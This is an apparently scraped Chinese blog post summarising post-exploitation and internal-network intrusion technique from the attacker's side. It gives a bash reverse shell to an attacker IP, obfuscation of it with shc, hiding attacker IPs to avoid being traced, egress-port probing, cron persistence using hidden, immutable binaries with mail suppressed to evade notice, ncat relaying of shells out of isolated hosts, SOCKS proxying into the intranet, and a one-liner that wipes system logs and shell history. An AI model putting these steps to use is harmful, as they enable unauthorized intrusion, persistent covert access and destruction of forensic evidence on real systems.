<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨|后滲透及內網初體驗的總結

    VSole2022-08-17 09:52:09

    繞php的disable_functions

    此處建議用AntSword的官方繞過插件全自動繞

    繞過失敗的可以手動試一下:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions

    另外,可以看一下web程序存的數據庫的用戶名和密碼,然后看一下數據庫能不能利用,比如寫文件或者寫日志,以及各種提權,如果繞過disable_functions失敗,數據庫也不能利用的可以看一下目標服務器上都有什么文件,比如其他站點或者其他可以利用的東西,如果限制了訪問目錄那就只能留著以后再看了

    隱藏ip

    隱藏攻擊ip還是很重要的,不然容易被溯源,可以上cdn或者用云函數等

    但是此處也是有大坑的,能訪問國外服務器的目標機器就好辦了,直接上就行,但是不能訪問國外服務器的目標機器,首先用Cloudflare比較卡,其次用國內的云服務商的則需要實名,而且費用也不低,所以實在沒辦法就別隱藏ip了,此處我也沒有隱藏ip

    加密bash反彈shell

    正常的bash反彈shell:

    目標機器反彈shell:

    bash -i >& /dev/tcp/攻擊機的ip/攻擊機接收shell的端口 0>&1
    

    攻擊機接收反彈來的shell:

    nc -lvvp 攻擊機接收shell的端口
    //netcat版本低時l和p參數不兼容,可以nc -lvv port監聽端口
    

    用https://github.com/neurobin/shc這個repository加密一下bash腳本,加密后會生成一個c源代碼文件和編譯之后的二進制文件,把編譯之后的二進制文件傳到目標機器上執行就行了,可以彌補一下目標機器在國內時不便于隱藏攻擊ip的缺陷

    本地執行:

    ./shc -Uvrf reverse.sh -o reverse
    

    把生成的reveser傳到目標機器上,執行:

    ./reverse
    

    webshell提供的shell環境限制很多,所以最好先反彈shell,盡量不要正向連接shell,開個端口動靜太大

    首先是不能彈shell的情況,比如相關的bash,nc等命令都被限制了,那先嘗試提權

    能彈shell但是接收不到的時候,可以看一下目標是不是限制出網或者限制出站端口

    如果限制出網那就先嘗試提權,如果限制出站端口可以批量試一下常見的端口,在自己的vps上,通過nginx監聽多個端口來快速啟動多個端口,然后再在目標機器上上傳個sh腳本,批量curl自己vps的指定端口,最后看一下結果就可以了,nmap ---top-ports 100或1000可以掃描nmap整理的100或1000個最常用的端口,可以參考一下

    測試出網端口的具體步驟:

    1.在正常的nginx配置文件中找到listen port,在后面復制一行,把port改成自己想開放的端口,重啟nginx

    2.寫一個sh腳本,內容就是每行都curl想測試的端口:curl vps:port

    3.傳到目標機器上,運行并且重定向到文件里:./shfile > result.txt

    4.查看result.txt中的結果,就可以看到哪些端口能出網,nmap ---top-ports 100nmap ---top-ports 1000可以查看nmap整理的100和1000個最常用的端口,可以參考一下

    成功收到shell的時候,依舊是個很難用的shell,可以再升級成完全的shell再用,升級之后和真實shell一樣,非常舒服

    # 攻擊機本地執行# 首先檢查當前終端和STTY信息$ echo $TERM$ stty -a# 查看輸出的rows和columns,后面配置用
    # 此時攻擊機已經獲取到了bash$ python -c 'import pty; pty.spawn("/bin/bash")'$ ctrl + z //快捷鍵
    $ stty raw -echo
    $ fg$ reset //這一步我實測有問題,輸了會出問題,不輸也沒有影響,所以如果輸了有問題可以不輸
    $ export SHELL=bash
    $ export TERM=xterm-256color
    $ stty rows 行數 columns 列數
    

    此處的這些操作是重復性的,和具體設備無關,所以用xshell的可以寫個xshell的腳本或者錄制個xshell的腳本,不過我這邊錄制的時候生成的腳本內容總是為空,應該是個bug,也沒時間研究寫xshell的腳本了,所以直接用按鍵精靈寫了個

    SayString "python -c 'import pty; pty.spawn(""/bin/bash"")'"WaitKeyWaitKeyWaitKeyWaitKeySayString "stty raw -echo"WaitKeyWaitKeySayString "fg"WaitKey WaitKey WaitKeySayString "export SHELL=bash"WaitKey WaitKeySayString "export TERM=xterm-256color"WaitKey WaitKeySayString "stty rows 45 columns 184"
    

    畢竟按鍵精靈只是模仿輸入,不能獲取到結果,所以每一步都是只輸入,不回車,需要自己回車,而且每一次輸入之后會多監聽一次任意按鍵事件,以防想暫停

    如果想把這個shell關了,或者這個shell接收到了內網的其他shell,然后想把接收到的其他shell關了,需要輸入兩次exit退出,然后可能shell的格式是亂的,這時候reset一下就好了

    在攻擊機上肯定不可能直接就接收shell,如果本地和攻擊機的shell連接斷了,那么攻擊機和目標機器的shell也就斷了,或者想把攻擊機接收到的shell掛在后臺,也不能直接接收shell,此處我推薦使用screen,類似于windows下的多窗口,接收shell的時候新開一個screen掛在后臺,不用的時候就在后臺掛著,用的時候切過去用就可以了

    screen的簡單使用教程:

    1.screen -S 這個screen會話的名字創建一個screen

    2.在screen的會話中時,快捷鍵ctrl+a,ctrl+d把當前screen放在后臺

    3.screen -r screen會話的名字恢復一個screen

    4.在screen的會話中exit可以退出screen

    5.一些小技巧:

    1.`screen -list`查看所有的screen會話
    
    2.`screen -list`會顯示相應對話的pid,通過`kill -9 pid`也可以關閉相應的screen會話
    
    3.`screen -d screen會話的名字`可以將一個正在活動的screen放到后臺
    
    4.如果在screen中嵌套了screen,那么快捷鍵ctrl+a,ctrl+a,ctrl+d可以把第二層screen放在第一層的后臺,快捷鍵ctrl+a,ctrl+d是不論嵌套幾層screen都會把最外層的screen放在后臺的
    

    低權限提權

    首先是信息收集,看一下/proc/version和/etc/*-release,然后在google和Exploit Database上找一下,同時看看打沒打補丁,如果目標機器不能編譯的話可以在自己的機器上編譯好了傳過去

    此處也發現了幾個提權工具,不過我試了一下不是很好用,都是靠版本來判斷的,和手動搞一樣

    權限維持

    切記要做持久化,不然辛辛苦苦拿的shell可能就要重新拿或者沒了,方法很多,可以google搜一下,與時俱進,用最新的東西,下面是一種我常用的權限維持的方式:

    cron計劃任務權限維持比較簡單,當然也比較明顯:

    建議用前面說的shc加密,上傳生成的二進制文件,用這個二進制文件彈shell,安全性高一點

    上傳之后:

    1.先chmod +x 二進制文件給一下權限

    2.然后在名字前面加個.變為隱藏文件(ls -a可以查看隱藏文件)

    3.再嘗試一下chattr +i 二進制文件(chattr -i 二進制文件可以解除鎖定)防止刪除,有相應的權限才能成功執行這條命令

    4.最后把這個文件放在安全又隱秘的位置,

    配置cron計劃任務時,如果是root用戶,那就在/etc/crontab里添加,如果不是root用戶,那就用crontab -e添加,注意crontab -e需要交互式shell,理論上來說非root用戶的cron存在/var/spool/crond下(CentOS),可以直接編輯相應的文件,但是非root用戶通常沒有權限直接編輯,所以還是需要獲取交互式shell然后crontab -e添加

    root用戶在/etc/crontab里添加的計劃任務,通過crontab -lcrontab -e是看不到的

    /etc/crontab里應該有默認的配置和默認的例子,crontab -e沒有,不管是怎么寫cron,都建議使用以下配置:

    在寫cron之前先執行$PATH查看環境變量并復制,然后再寫cron

    首先第一行配置為SHELL=+相應的shell位置,第二行配置為PATH=+默認的(如果有的話)加上前面的$PATH,第三行配置為MAILTO="",第三行的意義是計劃任務的執行結果不給用戶發郵件,因為計劃任務反彈shell是不停的反彈,但是攻擊機如果之前接收到的shell還沒關端口被占用著彈shell就失敗了就會報錯然后發郵件,發了郵件的話每次執行命令都會提示,很容易就被發現了

    最后配置計劃任務:

    root用戶配置為* * * * * root /要執行的命令或文件

    非root用戶配置為* * * * * /要執行的命令或文件

    如果要修改執行的間隔可以研究一下cron的語法,上面的是每分鐘彈一次shell

    內網

    信息收集

    激動人心的時刻來了,打內網

    因為我拿到的shell都是linux下的,沒有類似windows上的域控等等,所以此處就掃掃端口,此處可以用nmap,也可以用fscan,強烈推薦fscan,用一次就上癮,很好用

    搭建代理

    有些內網ip的端口上跑的比如網站等等在命令行不太好滲透,而且有些內網ip是不出網的,只能通過我們打下來的這個邊界服務器來訪問,所以建個代理還是很有必要的

    此處我推薦用frp,然后依舊遵循動靜小點的原則,不在目標機器上開端口,在自己的vps上架設frp的服務端,在目標機器上架設frp的客戶端,然后在客戶端啟用socks5代理插件,這會在服務端上開一個你指定的端口用來做socks5代理,可以配置用戶名和密碼,還可以遠程連接,同時可以搭配其他軟件做ip的黑白名單,非常好用,本地配置代理Windows建議用Proxifier,Linux建議用proxychains-ng(proxychains4)

    另外也可以用Neo-reGeorg,直接上傳個php/jsp等文件就可以建socks5代理,也很好用,對比frp一個優點是只傳文件不用執行命令就可以建代理,另一個優點是不用在目標機器上額外在后臺掛一個程序

    內網滲透

    其實和前面的web滲透一樣,只不過有些應用在內網比較常見,所以需要去了解一下,搜一下有什么漏洞

    fscan本身會檢測漏洞,比如各種未授權訪問,也會爆破一些端口的服務,比如mysql,ssh或者Tomcat的Manager App的弱口令等

    一個C段可以見識不少東西,打了一遍下來竟然天亮了...一天一夜過去了

    具體就不細說了,遇見哪個搜哪個,這個C段遇到的web程序基本都是java系的,還有一些python系的

    內網不出網反彈shell

    目標機器如果不出網可以反彈到已經打下來的內網機器上,也可以再把反彈的端口轉發到vps上,實現通過轉發出網

    通過ncat轉發出網:

    中轉的機器執行:

    ncat -l 中轉機器接收內網反彈來的shell的端口 -c 'ncat 攻擊機的ip 攻擊機的端口'
    

    這樣攻擊機就可以接收到不出網的設備彈的shell,唯一的缺點就是中轉的機器要占用個端口

    中不中轉對于不出網的設備的權限維持都是一樣的,主要的區別就是在vps上連不出網的設備方便點

    痕跡清理

    主要是命令的歷史記錄和日志文件,不過基本清不干凈,而且有些地方記錄了也清不到,隱藏攻擊ip比較萬能

    下面是一個簡單粗暴的清理方式,如無必要不建議使用:

    echo -n > /var/log/syslogecho -n > /var/log/messagesecho -n > /var/log/httpd/access_logecho -n > /var/log/httpd/error_logecho -n > /var/log/xferlogecho -n > /var/log/secureecho -n > /var/log/auth.logecho -n > /var/log/user.logecho -n > /var/log/wtmpecho -n > /var/log/lastlogecho -n > /var/log/btmpecho -n > /var/run/utmphistory -rhistory -cecho > ~/.bash_historyHISTZISE=0
    
    shelllog文件
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    最近安全人員發現一偽裝嵌入路由器固件的木馬應用。應用中包含了完整的后門功能,允許攻擊者和被感染設備建立通信和文件傳輸,遠程發送指令,上傳、下載和刪除文件。如果存在那么路由器很可能被感染了。
    安全公司 Check Point Research 報告了一種偽裝成 TP-Link 路由器固件的惡意程序,包含了完整的后門功能,允許攻擊者和被感染設備建立通信和文件傳輸,遠程發送指令,上傳、下載和刪除文件。惡意程序的主要目的被認為是充當代理掩蓋通信來源。
    11和2在Linux中代表什么在Linux系統中0 1 2是一個文件描述符從上表看的出來,我們平時使用的echo?其實也可以寫成echo?2關于2>&1的含義關于輸入/輸出重定向本文就不細說了含義:將標準錯誤輸出重定向到標準輸出符號>&是一個整體,不可分開,分開后就不是上述含義了。
    前言看到一篇文章講到這個內容,就打算自己也整理一下順便梳理一下思路0X01 信息收集1.收集系統信息:系統信息至關重要,關乎我們后面怎么提權中文系統:systeminfo|findstr /B /C:"OS 名稱" /C:"OS 版本". OS 名稱: Microsoft Windows Server 2008 R2 Standard. 禁用 入站 Internet Explorer / C:\Program Files \In. 800 TCP 啟用 入站 test
    raspi-config是一個用戶空間工具,它允許我們配置樹莓派的各個方面,其中之一是啟用各種外部接口。我們將使用raspi-config來啟用UART接口,首先啟動工具,如下所示: sudo raspi-config 這將導致出現以下結果:
    0x01 外網打點到Getshell目標站點:通過各種工具和在線網站,對子域名進行收集,并解析ip。發現主站存在CDN,使用fofa,搜索網站title、js等關鍵信息和子域名解析的ip對應的C段,發現真實ip。對真實ip的ip段進行掃描,發現一臺機器存在Weblogic中間件,使用exp進行測試,發現成功Getshell。administrator權限,使用免殺馬成功shell0x02 內網滲透有殺軟,做完免殺之后,直接上線CS,進行進程遷移。0x05 攻擊結果使用域管帳戶密碼對域內機器進行批量上線,部分被上線機器列表如下。
    linux常見backdoor技術
    2021-09-02 07:33:03
    最近遇到一些和后門相關的技術,所以把之前linux backdoor相關筆記重新學習和整理了一下。在這里做一下記錄,后續有時間整理一下windows backdoor方面的技術。 在服務器被入侵后進行應急響應無非通過文件排查、網絡排查、進程排查、系統信息排查等方法進行入侵排查。下面就一些常見留后門技巧以及公開的工具進行剖析介紹。
    secure 是應急中最常用的文件,主要記錄系統存取數據的文件,如 POP3、ssh、telnet、ftp 等相關記錄,從日志中可看出系統服務是否遭受到安全威脅,從如下日志中可看到 SSH 服務一直在被破解。lastlog 命令,用于顯示系統中所有用戶最近一次登錄信息。可以使用 lastlog 命令檢查某特定用戶上次登錄的時間,并格式化輸出上次登錄日志 /var/log/lastlog 的內容。
    根據VulnCheck的最新報告,數千個Openfire XMPP服務器未修補最近披露的高危漏洞,容易受到新的攻擊。該漏洞被追蹤為CVE-2023-32315(CVSS分數:7.5),與Openfire的管理控制臺中的路徑遍歷漏洞有關,可能允許未經身份驗證的攻擊者訪問本應為特權用戶保留的受限頁面。該漏洞影響自2015年4月以來發布的所有版本,從3.10.0版本開始。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类